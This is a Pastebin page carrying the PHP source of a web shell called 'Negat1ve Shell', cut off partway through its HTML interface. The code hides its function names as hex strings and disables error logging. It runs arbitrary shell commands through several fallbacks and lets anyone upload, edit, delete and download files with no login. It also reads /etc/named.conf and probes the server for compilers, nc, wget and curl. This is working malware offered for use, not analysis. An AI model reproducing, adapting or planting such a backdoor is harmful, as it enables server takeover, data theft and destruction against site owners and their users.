Advertisement
Guest User

Untitled

a guest
Feb 2nd, 2023
154
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 31.44 KB | Cybersecurity | 0 0
  1. hmei7
  2. <?php
  3.  
  4. $shellName = 'Negat1ve Shell';
  5. $logo = 'https://static.wikia.nocookie.net/central/images/1/12/Pacman2.jpg';
  6. $func = ["7068705f756e616d65", "70687076657273696f6e", "676574637764", "6368646972", "707265675f73706c6974", "61727261795f64696666", "69735f646972", "69735f66696c65", "69735f7772697461626c65", "69735f7265616461626c65", "66696c6573697a65", "636f7079", "66696c655f657869737473", "66696c655f7075745f636f6e74656e7473", "66696c655f6765745f636f6e74656e7473", "6d6b646972", "72656e616d65", "737472746f74696d65", "68746d6c7370656369616c6368617273", "64617465", "66696c656d74696d65", "7363616e646972", "73797374656d", "65786563", "7061737374687275", "7368656c6c5f65786563", "6f625f6765745f636f6e74656e7473", "6f625f656e645f636c65616e", "6469726e616d65", "6469736b5f746f74616c5f7370616365", "6469736b5f667265655f7370616365", "696e695f676574", "707265675f6d617463685f616c6c", "706f7369785f6765747077756964", "706f7369785f6765746772676964", "70617468696e666f", "66696c656f776e6572", "66696c6567726f7570", "66696c6574797065", "676574486f73744e616d65", "676574486f737442794e616d65", "737562737472", "737472737472", "696e695f736574", "66696c65", "7374725f7265706c616365", "6578706c6f6465", "6576616c", "6f625f7374617274", "66756e6374696f6e5f657869737473", "6572726f725f7265706f7274696e67", "7365745f74696d655f6c696d6974", "636c656172737461746361636865", "646174655f64656661756c745f74696d657a6f6e655f736574", "666c757368", "7374726c656e", "7472696d", "656d707479", "6973736574", "66696c657065726d73", "7374726c656e", "636f756e74", "726f756e64", "6d696d655f636f6e74656e745f74797065", "6765745f63757272656e745f75736572", "6765746d79756964", "6765746d79676964", "706f7369785f67657465756964", "706f7369785f67657465676964"];
  7.  
  8. for ($i = 0; $i < count($func); $i++) {
  9.     $func[$i] = dehex($func[$i]);
  10. }
  11.  
  12. session_start();
  13. $func[50](0);
  14. @$func[51](0);
  15. @$func[52]();
  16. @$func[43]('error_log', null);
  17. @$func[43]('log_errors',0);
  18. @$func[43]('max_execution_time',0);
  19. @$func[43]('output_buffering',0);
  20. @$func[43]('display_errors', 0);
  21. $func[53]("Asia/Jakarta");
  22.  
  23. if (isset($_GET['dir'])) {
  24.     $dir = $_GET['dir'];
  25.     $func[3]($dir);
  26. } else {
  27.     $dir = $func[2]();
  28. }
  29.    
  30. $d0mains = @$func[44]("/etc/named.conf", false);
  31. if (!$d0mains) {
  32.     $dom = "<font class='text-danger'>Can't Read /etc/named.conf</font>";
  33. } else {
  34.     $count = 0;
  35.     foreach ($d0mains as $d0main) {
  36.         if (@$func[43]($d0main, "zone")) {
  37.             $func[32]('#zone "(.*)"#', $d0main, $domains);
  38.             $func[54]();
  39.             if ($func[55]($func[56]($domains[1][0])) > 2){
  40.                 $func[54]();
  41.                 $count++;
  42.             }
  43.         }
  44.     }
  45.     $dom = "<font class='text-success'>$count Domain</font>";
  46. }
  47.  
  48. $dir = $func[45]("\\", "/", $dir);
  49. $scdir = $func[46]("/", $dir);
  50. $total = $func[29]($dir);
  51. $free = $func[30]($dir);
  52. $pers =  (int) ($free / $total * 100);
  53. $ds = @$func[31]("disable_functions");
  54. $show_ds = (!empty($ds)) ? "<font class='text-danger'>$ds</font>" : "<font class='text-success'>All function is accessible</font>";
  55.  
  56. $cmd_uname = exe("uname -a");
  57. $uname = $func[49]('php_uname') ? $func[41](@$func[0](), 0, 120) : ($func[55]($cmd_uname) > 0 ? $cmd_uname : '( php_uname ) Function Disabled !');
  58.  
  59. if (strtolower($func[41](PHP_OS, 0, 3)) == "win") {
  60.     $sys = "win";
  61. } else {
  62.     $sys = "unix";
  63. }
  64.  
  65. if (isset($_GET['do'])) {
  66.     $do = $_GET['do'];
  67.     if ($do == 'delete') {
  68.         if ($func[12]($dir)) {
  69.             if (deleter($dir)) {
  70.                 flash("File/Folder deleted successfully!", "Success", "success", "?dir=" . dirname($dir));
  71.             } else {
  72.                 flash("File/Folder failed to delete!", "Failed", "danger");
  73.             }
  74.         } else {
  75.             flash("File/Folder is doesn't exist!", "Failed", "warning");
  76.         }
  77.     } else if ($do == 'download') {
  78.         if ($func[12]($dir)) {
  79.             header("Content-Type: application/octet-stream");
  80.             header("Content-Transfer-Encoding: Binary");
  81.             header("Content-Length: " . $func[10]($dir));
  82.             header("Content-disposition: attachment; filename=\"".basename($dir)."\"");
  83.         } else {
  84.             flash("File is doesn't exist!", "Failed", "warning");
  85.         }
  86.     }
  87. } else {
  88.     $do = 'filesman';
  89.     $title = 'Files Manager';
  90.     $icon = 'archive';
  91. }
  92.  
  93. ((isset($_POST["foldername"])) ? ($func[12]("$dir/{$_POST['foldername']}") ? flash("Folder name is exist!", "Failed", "warning") : ($func[15]("$dir/{$_POST['foldername']}") ? flash("Folder created successfully!", "Success", "success") : flash("Folder failed to create!", "Failed", "danger"))) : null);
  94.  
  95. ((isset($_POST["filename"]) && isset($_POST['filecontent'])) ? ($func[12]("$dir/{$_POST['filename']}") ? flash("File name is exist!", "Failed", "warning") : ($func[13]("$dir/{$_POST['filename']}", $_POST['filecontent']) ? flash("File created successfully!", "Success", "success") : flash("File failed to create!", "Failed", "danger"))) : null);
  96.  
  97. ((isset($_POST["newname"]) && isset($_POST['oldname'])) ? ($func[12]("$dir/{$_POST['newname']}") ? flash("File/Folder name is exist!", "Failed", "warning") : ($func[16]("$dir/{$_POST['oldname']}", $_POST['newname']) ? flash("File/Folder renamed successfully!", "Success", "success") : flash("File/Folder failed to rename!", "Failed", "danger"))) : null);
  98.  
  99. ((isset($_POST["filename"]) && isset($_POST['content'])) ? ($func[13]("$dir/{$_POST['filename']}", $_POST['content']) ? flash("File saved successfully!", "Success", "success") : flash("File failed to save!", "Failed", "danger")) : null);
  100.  
  101. if (isset($_FILES["uploadfile"])) {
  102.     $n = $_FILES["uploadfile"]["name"];
  103.     for ($i = 0; $i < count($n); $i++) {
  104.         if ($func[11]($_FILES["uploadfile"]["tmp_name"][$i], $n[$i])) {
  105.             flash("File uploaded successfully!", "Success", "success");
  106.         } else {
  107.             flash("File failed to upload!", "Failed", "danger");
  108.         }
  109.     }
  110. }
  111.  
  112. if (@$func[31]('open_basedir')) {
  113.     $basedir_data = @$func[31]('open_basedir');
  114.     if ($func[55]($basedir_data) > 120){
  115.         $open_b = "<font class='text-success'>" . $func[41]($basedir_data, 0, 120) . "...</font>";
  116.     } else {
  117.         $open_b = '<font class="text-success">' . $basedir_data . '</font>';
  118.     }
  119. } else {
  120.     $open_b = '<font class="text-warning">NONE</font>';
  121. }
  122.  
  123. if (!$func[49]('posix_getegid')) {
  124.     $user = $func[49]("get_current_user") ? @$func[64]() : "????";
  125.     $uid = $func[49]("getmyuid") ? @$func[65]() : "????";
  126.     $gid = $func[49]("getmygid") ? @$func[66]() : "????";
  127.     $group = "?";
  128. } else {
  129.     $uid = $func[49]("posix_getpwuid") && $func[49]("posix_geteuid") ? @$func[33]($func[67]()) : ["name" => "????", "uid" => "????"];
  130.     $gid = $func[49]("posix_getgrgid") && $func[49]("posix_getegid") ? @$func[34]($func[68]()) : ["name" => "????", "gid" => "????"];
  131.     $user = $uid['name'];
  132.     $uid = $uid['uid'];
  133.     $group = $gid['name'];
  134.     $gid = $gid['gid'];
  135. }
  136.  
  137. if ($sys == 'unix') {
  138.     if (!@$func[31]('safe_mode')) {
  139.         if ($func[55](exe("id")) > 0) {
  140.             $userful = ['gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzialfa2','nc','locate','suidperl'];
  141.             $x = 0;
  142.             foreach ($userful as $i) {
  143.                 if (which($i)) {
  144.                     $x++;
  145.                     $useful .= $i . ', ';
  146.                 }
  147.             }
  148.             if ($x == 0) {
  149.                 $useful = '--------';
  150.             }
  151.             $downloaders = ['wget','fetch','lynx','links','curl','get','lwp-mirror'];
  152.             $x = 0;
  153.             foreach($downloaders as $i) {
  154.                 if (which($i)) {
  155.                     $x++;
  156.                     $downloader .= $i . ', ';
  157.                 }
  158.             }
  159.             if ($x == 0) {
  160.                 $downloader = '--------';
  161.             }
  162.         }
  163.     }
  164. }
  165.  
  166. function hex($str) {
  167.     global $func;
  168.     $r = "";
  169.     for ($i = 0; $i < $func[55]($str); $i++) {
  170.         $r .= dechex(ord($str[$i]));
  171.     }
  172.     return $r;
  173. }
  174.  
  175. function dehex($str) {
  176.     $r = "";
  177.     $len = (strlen($str) - 1);
  178.     for ($i = 0; $i < $len; $i += 2) {
  179.         $r .= chr(hexdec($str[$i].$str[$i + 1]));
  180.     }
  181.     return $r;
  182. }
  183.  
  184. function formatSize($bytes) {
  185.     $types = array( 'B', 'KB', 'MB', 'GB', 'TB' );
  186.     for ( $i = 0; $bytes >= 1024 && $i < ( count( $types ) - 1 ); $bytes /= 1024, $i++ );
  187.     return( round( $bytes, 2 )." ".$types[$i] );
  188. }
  189.  
  190. function perms($file) {
  191.     global $func;
  192.     $perms = fileperms($file);
  193.     if (($perms & 0xC000) == 0xC000){
  194.         $info = 's';
  195.     }elseif (($perms & 0xA000) == 0xA000){
  196.         $info = 'l';
  197.     }elseif (($perms & 0x8000) == 0x8000){
  198.         $info = '-';
  199.     }elseif (($perms & 0x6000) == 0x6000){
  200.         $info = 'b';
  201.     }elseif (($perms & 0x4000) == 0x4000){
  202.         $info = 'd';
  203.     }elseif (($perms & 0x2000) == 0x2000){
  204.         $info = 'c';
  205.     }elseif (($perms & 0x1000) == 0x1000){
  206.     $info = 'p';
  207.     }else{
  208.         $info = 'u';
  209.     }
  210.     $info .= (($perms & 0x0100) ? 'r' : '-');
  211.     $info .= (($perms & 0x0080) ? 'w' : '-');
  212.     $info .= (($perms & 0x0040) ?
  213.     (($perms & 0x0800) ? 's' : 'x' ) :
  214.     (($perms & 0x0800) ? 'S' : '-'));
  215.     $info .= (($perms & 0x0020) ? 'r' : '-');
  216.     $info .= (($perms & 0x0010) ? 'w' : '-');
  217.     $info .= (($perms & 0x0008) ?
  218.     (($perms & 0x0400) ? 's' : 'x' ) :
  219.     (($perms & 0x0400) ? 'S' : '-'));
  220.     $info .= (($perms & 0x0004) ? 'r' : '-');
  221.     $info .= (($perms & 0x0002) ? 'w' : '-');
  222.     $info .= (($perms & 0x0001) ?
  223.     (($perms & 0x0200) ? 't' : 'x' ) :
  224.     (($perms & 0x0200) ? 'T' : '-'));
  225.     return $func[41](sprintf('%o', $perms), -4) . ' >> ' .$info;
  226. }
  227.  
  228. function exe($in) {
  229.     global $func;
  230.     $out = '';
  231.     try {
  232.         if ($func[49]('exec')) {
  233.             @$func[23]($in, $out);
  234.             $out = @join("\n", $out);
  235.         } elseif ($func[49]('passthru')) {
  236.             $func[48]();
  237.             @passthru($in);
  238.             $out = $func[27]();
  239.         } elseif($func[49]('system')) {
  240.             $func[48]();
  241.             @system($in);
  242.             $out = $func[27]();
  243.         } elseif ($func[49]('shell_exec')) {
  244.             $out = $func[25]($in);
  245.         } elseif ($func[49]("popen") && $func[49]("pclose")) {
  246.             if (is_resource($f = @popen($in,"r"))) {
  247.                 $out = "";
  248.                 while(!@feof($f))
  249.                 $out .= fread($f, 1024);
  250.                 pclose($f);
  251.             }
  252.         } elseif ($func[49]('proc_open')) {
  253.             $pipes = [];
  254.             $process = @proc_open($in.' 2>&1', array(array("pipe","w"), array("pipe","w"), array("pipe","w")), $pipes, null);
  255.             $out = @stream_get_contents($pipes[1]);
  256.         } elseif (class_exists('COM')) {
  257.             $ws = new COM('WScript.shell');
  258.             $exec = $ws->exec('cmd.exe /c '.$in);
  259.             $stdout = $exec->StdOut();
  260.             $out = $stdout->ReadAll();
  261.         }
  262.     } catch(Exception $e) {}
  263.     return $out;
  264. }
  265.  
  266. function checkName($name) {
  267.     global $func;
  268.     if ($func[55]($name) > 18) {
  269.         return $func[41]($name, 0, 18) . "...";
  270.     }
  271.     return $name;
  272. }
  273.  
  274. function checkPerm($dir, $perm) {
  275.     global $func;
  276.     $perm = explode('>>', $perm);
  277.     if ($func[8]($dir)) {
  278.         return "<font class='text-success'>".$perm[0]."</font> >> <font class='text-success'>".$perm[1]."</font>";
  279.     } elseif (!$func[9]($dir)) {
  280.         return "<font class='text-danger'>".$perm[0]."</font> >> <font class='text-danger'>".$perm[1]."</font>";
  281.     } else {
  282.         return "<font class='text-secondary'>".$perm[0]."</font> >> <font class='text-secondary'>".$perm[1]."</font>";
  283.     }
  284. }
  285.  
  286. function getowner($item) {
  287.     global $func;
  288.     if ($func[49]("posix_getpwuid")) {
  289.         $downer = @$func[33](fileowner($item));
  290.         $downer = $downer['name'];
  291.     } else {
  292.         $downer = fileowner($item);
  293.     }
  294.     if ($func[49]("posix_getgrgid")) {
  295.         $dgrp = @$func[34](filegroup($item));
  296.         $dgrp = $dgrp['name'];
  297.     } else {
  298.         $dgrp = filegroup($item);
  299.     }
  300.     return $downer . '/' . $dgrp;
  301. }
  302.  
  303. function geticon($file) {
  304.     global $func;
  305.     $ext = strtolower($func[35]($file, PATHINFO_EXTENSION));
  306.     if ($ext == 'php' || $ext == 'html' || $ext == 'js' || $ext == 'css' || $ext == 'py' || $ext == 'perl' || $ext == 'sh') {
  307.         return 'file-code';
  308.     } else if ($ext == 'pdf') {
  309.         return 'file-pdf';
  310.     } else if ($ext == 'txt') {
  311.         return 'file-alt';
  312.     } else if ($ext == 'csv') {
  313.         return 'file-csv';
  314.     } else if ($ext == 'jpg' || $ext == 'png' || $ext == 'jpeg' || $ext == 'gif') {
  315.         return 'file-image';
  316.     } else if ($ext == 'mp4' || $ext == '3gp' || $ext == 'mkv') {
  317.         return 'file-video';
  318.     } else if ($ext == 'docx' || $ext == 'doc' || $ext == 'docm') {
  319.         return 'file-word';
  320.     } else if ($ext == 'ppt' || $ext == 'pptx') {
  321.         return 'file-powerpoint';
  322.     } else if ($ext == 'xlsx' || $ext == 'xlsb' || $ext == 'xlsm' || $ext == 'xltx' || $ext == 'xltm') {
  323.         return 'file-excel';
  324.     } else if ($ext == 'mp3' || $ext == 'wav') {
  325.         return 'file-audio';
  326.     } else if ($ext == 'sql' || $ext == 'db') {
  327.         return 'database';
  328.     } else if ($ext == 'zip' || $ext == 'tar' || $ext == 'gz' || $ext == 'tar.gz' || $ext == '7z' || $ext == 'bz2') {
  329.         return 'file-archive';
  330.     } else {
  331.         return 'file';
  332.     }
  333. }
  334.  
  335. function which($p) {
  336.     global $func;
  337.     $path = exe('which ' . $p);
  338.     if (!empty($path)) {
  339.         return $func[55]($path);
  340.     }
  341.     return false;
  342. }
  343.  
  344. function flash($message, $status, $class, $redirect = false) {
  345.     if (!empty($_SESSION["message"])) {
  346.         unset($_SESSION["message"]);
  347.     }
  348.     if (!empty($_SESSION["class"])) {
  349.         unset($_SESSION["class"]);
  350.     }
  351.     if (!empty($_SESSION["status"])) {
  352.         unset($_SESSION["status"]);
  353.     }
  354.     $_SESSION["message"] = $message;
  355.     $_SESSION["class"] = $class;
  356.     $_SESSION["status"] = $status;
  357.     if ($redirect) {
  358.         header('Location: ' . $redirect);
  359.         exit();
  360.     }
  361.     return true;
  362. }
  363.  
  364. function clear() {
  365.     if (!empty($_SESSION["message"])) {
  366.         unset($_SESSION["message"]);
  367.     }
  368.     if (!empty($_SESSION["class"])) {
  369.         unset($_SESSION["class"]);
  370.     }
  371.     if (!empty($_SESSION["status"])) {
  372.         unset($_SESSION["status"]);
  373.     }
  374.     return true;
  375. }
  376.  
  377. function deleter($d) {
  378.     global $func;
  379.     if (trim($func[35]($d, PATHINFO_BASENAME), '.') === '') {
  380.         return false;
  381.     };
  382.     if ($func[6]($d)) {
  383.         array_map("deleter", glob($d . DIRECTORY_SEPARATOR . '{,.}*', GLOB_BRACE | GLOB_NOSORT));
  384.         rmdir($d);
  385.         return true;
  386.     } else {
  387.         unlink($d);
  388.         return true;
  389.     }
  390.     return false;
  391. }
  392.  
  393. $scandir = $func[21]($dir);
  394.  
  395. ?>
  396. <!doctype html>
  397. <html lang="en">
  398. <head>
  399.     <meta charset="utf-8">
  400.     <meta name="viewport" content="width=device-width, initial-scale=1">
  401.     <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.0.1/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-+0n0xVW2eSR5OomGNYDnhzAbDsOXxcvSN1TPprVMTNDbiYZCxYbOOl7+AMvyTG2x" crossorigin="anonymous">
  402.     <link rel="stylesheet" href="https://pro.fontawesome.com/releases/v5.10.0/css/all.css" integrity="sha384-AYmEC3Yw5cVb3ZcuHtOA93w35dYTsvhLPVnYs9eStHfGJvOvKxVfELGroGkvsg+p" crossorigin="anonymous"/>
  403.     <title><?= $shellName ?></title>
  404. </head>
  405. <body>
  406.     <div class="container-lg">
  407.        
  408.         <nav class="navbar navbar-light bg-light">
  409.             <div class="container-fluid">
  410.                 <a class="navbar-brand" href="?">
  411.                     <img src="<?= $logo ?>" alt="logo" width="30" height="24" class="d-inline-block align-text-top">
  412.                     <?= $shellName ?>
  413.                 </a>
  414.             </div>
  415.         </nav>
  416.        
  417.         <?php if (isset($_SESSION['message'])) : ?>
  418.         <div class="alert alert-<?= $_SESSION['class'] ?> alert-dismissible fade show my-3" role="alert">
  419.             <strong><?= $_SESSION['status'] ?>!</strong> <?= $_SESSION['message'] ?>
  420.             <button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close"></button>
  421.         </div>
  422.         <?php endif; clear(); ?>
  423.  
  424.         <div id="tool">
  425.             <div class="d-flex justify-content-center flex-wrap my-3">
  426.                 <a href="?" class="m-1 btn btn-outline-dark btn-sm"><i class="fa fa-home"></i> Home</a>
  427.                 <a class="m-1 btn btn-outline-dark btn-sm" data-bs-toggle="collapse" href="#upload" role="button" aria-expanded="false" aria-controls="collapseExample"><i class="fa fa-upload"></i> Upload</a>
  428.                 <a class="m-1 btn btn-outline-dark btn-sm" data-bs-toggle="collapse" href="#newfile" role="button" aria-expanded="false" aria-controls="collapseExample"><i class="fa fa-file-plus"></i> New File</a>
  429.                 <a class="m-1 btn btn-outline-dark btn-sm" data-bs-toggle="collapse" href="#newfolder" role="button" aria-expanded="false" aria-controls="collapseExample"><i class="fa fa-folder-plus"></i> New Folder</a>
  430.             </div>
  431.            
  432.             <div class="row">
  433.                 <div class="col-md-12">
  434.                     <div class="collapse" id="upload" data-bs-parent="#tool">
  435.                         <div class="card card-body border-dark mb-3">
  436.                             <div class="row">
  437.                                  <div class="col-md-6">
  438.                                     <form action="" method="post" enctype="multipart/form-data">
  439.                                         <div class="input-group">
  440.                                             <input type="file" class="form-control" name="uploadfile[]" id="inputGroupFile04" aria-describedby="inputGroupFileAddon04" aria-label="Upload">
  441.                                             <button class="btn btn-outline-dark" type="submit" id="inputGroupFileAddon04">Upload</button>
  442.                                         </div>
  443.                                     </form>
  444.                                  </div>
  445.                             </div>
  446.                         </div>
  447.                     </div>
  448.                 </div>
  449.                 <div class="col-md-12">
  450.                     <div class="collapse" id="newfile" data-bs-parent="#tool">
  451.                         <div class="card card-body border-dark mb-3">
  452.                             <div class="row">
  453.                                 <div class="col-md-6">
  454.                                     <form action="" method="post">
  455.                                         <div class="mb-3">
  456.                                             <label class="form-label">File Name</label>
  457.                                             <input type="text" class="form-control" name="filename" placeholder="negat1ve.txt">
  458.                                         </div>
  459.                                         <div class="mb-3">
  460.                                             <label class="form-label">File Content</label>
  461.                                             <textarea class="form-control" rows="5" name="filecontent"></textarea>
  462.                                         </div>
  463.                                         <button type="submit" class="btn btn-outline-dark">Create</button>
  464.                                     </form>
  465.                                 </div>
  466.                             </div>
  467.                         </div>
  468.                     </div>
  469.                 </div>
  470.                 <div class="col-md-12">
  471.                     <div class="collapse" id="newfolder" data-bs-parent="#tool">
  472.                         <div class="card card-body border-dark mb-3">
  473.                             <div class="row">
  474.                                 <div class="col-md-6">
  475.                                     <form action="" method="post">
  476.                                         <div class="mb-3">
  477.                                             <label class="form-label">Folder Name</label>
  478.                                             <input type="text" class="form-control" name="foldername" placeholder="negat1ve">
  479.                                         </div>
  480.                                         <button type="submit" class="btn btn-outline-dark">Create</button>
  481.                                     </form>
  482.                                 </div>
  483.                             </div>
  484.                         </div>
  485.                     </div>
  486.                 </div>
  487.             </div>
  488.         </div>
  489.  
  490.         <div class="row">
  491.             <div class="col-md-12">
  492.                 <div class="card border-dark">
  493.                     <div class="card-body">
  494.                         <h5><i class="fas fa-angry"></i> Server Information </h5>
  495.                         <div class="table-responsive">
  496.                             <table class="table table-hover text-nowrap">
  497.                                 <tr>
  498.                                     <td>Operating System</td>
  499.                                     <td> : <?= $uname ?></td>
  500.                                 </tr>
  501.                                 <tr>
  502.                                     <td>PHP Version</td>
  503.                                     <td> : <?= $func[1]() ?></td>
  504.                                 </tr>
  505.  
  506.                                 <tr>
  507.                                     <td>Storage</td>
  508.                                     <td class="d-flex">: Total = <?= formatSize($total) ?>, Free = <?= formatSize($free) ?> [<?= $pers ?>%]</td>
  509.                                 </tr>
  510.  
  511.                                 <tr>
  512.                                     <td>Disable Functions</td>
  513.                                     <td>: <?= $show_ds ?></td>
  514.                                 </tr>
  515.  
  516.                                 <tr>
  517.                                     <td colspan="2">CURL : <?= $func[49]('curl_version') ? '<font class="text-success">ON</font>' : '<font class="text-danger">OFF</font>' ?> | SSH2 : <?= $func[49]('ssh2_connect') ? '<font class="text-success">ON</font>' : '<font class="text-danger">OFF</font>' ?> | Magic Quotes : <?= $func[49]('get_magic_quotes_gpc') ? '<font class="text-success">ON</font>' : '<font class="text-danger">OFF</font>' ?> | MySQL : <?= $func[49]('mysql_get_client_info') || class_exists('mysqli') ? '<font class="text-success">ON</font>' : '<font class="text-danger">OFF</font>' ?> | MSSQL : <?= $func[49]('mssql_connect') ? '<font class="text-success">ON</font>' : '<font class="text-danger">OFF</font>' ?> | PostgreSQL : <?= $func[49]('pg_connect') ? '<font class="text-success">ON</font>' : '<font class="text-danger">OFF</font>' ?> | Oracle : <?= $func[49]('oci_connect') ? '<font class="text-success">ON</font>' : '<font class="text-danger">OFF</font>' ?></td>
  518.                                 </tr>
  519.                                 <tr>
  520.                                     <td colspan="2">Safe Mode : <?= @$func[31]('safe_mode') ? '<font class="text-success">ON</font>' : '<font class="text-danger">OFF</font>' ?> | Open Basedir : <?= $open_b ?> | Safe Mode Exec Dir : <?= @$func[31]('safe_mode_exec_dir') ? '<font class="text-success">'. @$func[31]('safe_mode_exec_dir') .'</font>' : '<font class="text-warning">NONE</font>' ?> | Safe Mode Include Dir : <?= @$func[31]('safe_mode_include_dir') ? '<font class="text-success">'. @$func[31]('safe_mode_include_dir') .'</font>' : '<font class="text-warning">NONE</font>' ?></td>
  521.                                 </tr>
  522.                             </table>
  523.                         </div>
  524.                     </div>
  525.                 </div>
  526.             </div>
  527.             <div class="col-md-12 my-3">
  528.                 <div class="card border-dark">
  529.                     <div class="card-body">
  530.                         <h5><i class="fas fa-angry"></i> Path </h5>
  531.                         <nav aria-label="breadcrumb" style="--bs-breadcrumb-divider: '>';">
  532.                             <ol class="breadcrumb">
  533.                                 <?php
  534.                                     $numDir = count($scdir);
  535.                                     foreach ($scdir as $id => $pat) {
  536.                                         if ($pat == '' && $id == 0) {
  537.                                             echo '<li class="breadcrumb-item"><a class="text-decoration-none text-dark" href="?dir=/">/</a></li>';
  538.                                             continue;
  539.                                         }
  540.                                         if ($pat == '') continue;
  541.                                         if ($id + 1 == $numDir) {
  542.                                             echo '<li class="breadcrumb-item active" aria-current="page">'.$pat.'</li>';
  543.                                         } else {
  544.                                             echo '<li class="breadcrumb-item"><a class="text-decoration-none text-dark" href="?dir=';
  545.                                             for ($i = 0; $i <= $id; $i++) {
  546.                                                 echo "$scdir[$i]";
  547.                                                 if ($i != $id) echo "/";
  548.                                             }
  549.                                             echo '">'.$pat.'</a></li>';
  550.                                         }
  551.                                     }
  552.                                 ?>
  553.                             </ol>
  554.                         </nav>
  555.                         [ <?= checkPerm($dir, perms($dir)) ?> ]
  556.                     </div>
  557.                 </div>
  558.             </div>
  559.             <div class="col-md-12" id="main">
  560.                 <div class="card border-dark overflow-auto">
  561.                     <div class="card-body">
  562.                         <h5><i class="fa fa-<?= $icon ?>"></i> <?= $title ?></h5>
  563.                         <?php if ($do == 'view') : ?>
  564.                             <h1>Anjing</h1>
  565.                         <?php else: ?>
  566.                             <?php if ($func[9]($dir)) : ?>
  567.                                 <div class="table-responsive">
  568.                                     <table class="table table-hover text-nowrap">
  569.                                         <thead>
  570.                                             <tr>
  571.                                                 <th>Name</th>
  572.                                                 <th>Type</th>
  573.                                                 <th>Size</th>
  574.                                                 <th>Last Modified</th>
  575.                                                 <th>Owner/Group</th>
  576.                                                 <th>Permission</th>
  577.                                                 <th>Action</th>
  578.                                             </tr>
  579.                                         </thead>
  580.                                         <tbody>
  581.                                             <?php
  582.                                                 foreach ($scandir as $item) :
  583.                                                     if (!$func[6]($dir . '/' . $item)) continue;
  584.                                             ?>
  585.                                                 <tr>
  586.                                                     <td>
  587.                                                         <?php if ($item === '..') : ?>
  588.                                                         <a href="?dir=<?= $func[28]($dir); ?>" class="text-decoration-none text-dark"><i class="fa fa-folder-open"></i> <?= $item ?></a>
  589.                                                         <?php elseif ($item === '.') :  ?>
  590.                                                         <a href="?dir=<?= $dir; ?>" class="text-decoration-none text-dark"><i class="fa fa-folder-open"></i> <?= $item ?></a>
  591.                                                         <?php else : ?>
  592.                                                         <a href="?dir=<?= $dir . '/' . $item ?>" class="text-decoration-none text-dark"><i class="fa fa-folder"></i> <?= checkName($item); ?></a>
  593.                                                         <?php endif; ?>
  594.                                                     </td>
  595.                                                     <td><?= $func[38]($item) ?></td>
  596.                                                     <td class="align-middle">--</td>
  597.                                                     <td><?= $func[19]("Y-m-d h:i:s", $func[20]($item)); ?></td>
  598.                                                     <td><?= getowner($item) ?></td>
  599.                                                     <td><?= checkPerm($dir . '/' . $item, perms($dir . '/' . $item))  ?></td>
  600.                                                     <td>
  601.                                                         <button type="button" class="btn btn-outline-dark btn-sm mr-1" <?= $item === ".." || $item === "." ? '' : 'data-bs-toggle="modal" data-bs-target="#renameModal" data-bs-name="'.$item.'"' ?>><i class="fa fa-edit"></i></button>
  602.                                                         <button type="button" class="btn btn-outline-dark btn-sm mr-1" <?= $item === ".." || $item === "." ? '' : 'data-bs-toggle="modal" data-bs-target="#deleteModal" data-bs-file="'.$dir . '/' . $item.'"'?>><i class="fa fa-trash-alt"></i></button>
  603.                                                     </td>
  604.                                                 </tr>
  605.                                             <?php endforeach; ?>
  606.                                             <?php
  607.                                                 foreach ($scandir as $item) :
  608.                                                     if (!$func[7]($dir . '/' . $item)) continue;
  609.                                             ?>
  610.                                                 <tr>
  611.                                                     <td><a data-bs-toggle="modal" href="#viewModal" role="button" data-bs-name="<?= $item ?>" data-bs-content="<?= $func[18](@$func[14]($item)) ?>" class="text-dark text-decoration-none"><i class="fa fa-<?= geticon($item) ?>"></i> <?= checkName($item); ?></a></td>
  612.                                                     <td><?= checkName(($func[49]('mime_content_type') ? $func[63]($item) : $func[38]($item))) ?></td>
  613.                                                     <td><?= formatSize($func[10]($item)) ?></td>
  614.                                                     <td><?= $func[19]("Y-m-d h:i:s", $func[20]($item)); ?></td>
  615.                                                     <td><?= getowner($item) ?></td>
  616.                                                     <td><?= checkPerm($dir . '/' . $item, perms($dir . '/' . $item))  ?></td>
  617.                                                     <td>
  618.                                                         <button type="button" class="btn btn-outline-dark btn-sm mr-1" data-bs-toggle="modal" data-bs-target="#renameModal" data-bs-name="<?= $item ?>"><i class="fa fa-edit"></i></button>
  619.                                                         <button type="button" class="btn btn-outline-dark btn-sm mr-1" data-bs-toggle="modal" data-bs-target="#viewModal" data-bs-name="<?= $item ?>" data-bs-content="<?= $func[18](@$func[14]($item)) ?>"><i class="fa fa-file-signature"></i></button>
  620.                                                         <button type="button" class="btn btn-outline-dark btn-sm mr-1" data-bs-toggle="modal" data-bs-target="#downloadModal" data-bs-file="<?= $dir . '/' . $item ?>"><i class="fa fa-download"></i></button>
  621.                                                         <button type="button" class="btn btn-outline-dark btn-sm mr-1" data-bs-toggle="modal" data-bs-target="#deleteModal" data-bs-file="<?= $dir . '/' . $item ?>"><i class="fa fa-trash-alt"></i></button>
  622.                                                     </td>
  623.                                                 </tr>
  624.                                             <?php endforeach; ?>
  625.                                         </tbody>
  626.                                     </table>
  627.                                 </div>
  628.                             <?php else: ?>
  629.                                 <font class="text-danger">Can't read this directory!</font>
  630.                             <?php endif; ?>
  631.                         <?php endif; ?>
  632.                     </div>
  633.                 </div>
  634.             </div>
  635.             <div class="col-md-12 my-3">
  636.                 <div class="card border-dark">
  637.                     <div class="card-body">
  638.                         Copyright negat1ve1337@gmail.com <span class="float-end">Coded by <span class="text-muted">Negat1ve</span></span>
  639.                     </div>
  640.                 </div>
  641.             </div>
  642.         </div>
  643.     </div>
  644.    
  645.     <div class="modal fade" id="renameModal" data-bs-backdrop="static" data-bs-keyboard="false" tabindex="-1" aria-labelledby="renameModalLabel" aria-hidden="true">
  646.       <div class="modal-dialog modal-dialog-centered">
  647.         <div class="modal-content">
  648.           <div class="modal-header">
  649.             <h5 class="modal-title" id="renameModalLabel">Rename</h5>
  650.             <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
  651.           </div>
  652.           <form method="post" id="rename-form">
  653.               <div class="modal-body">
  654.                   <div class="mb-3">
  655.                     <label for="newname" class="col-form-label">New Name:</label>
  656.                     <input type="text" class="form-control" name="newname" id="newname">
  657.                   </div>
  658.               </div>
  659.               <div class="modal-footer">
  660.                 <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Close</button>
  661.                 <button type="submit" class="btn btn-primary">Rename</button>
  662.               </div>
  663.         </form>
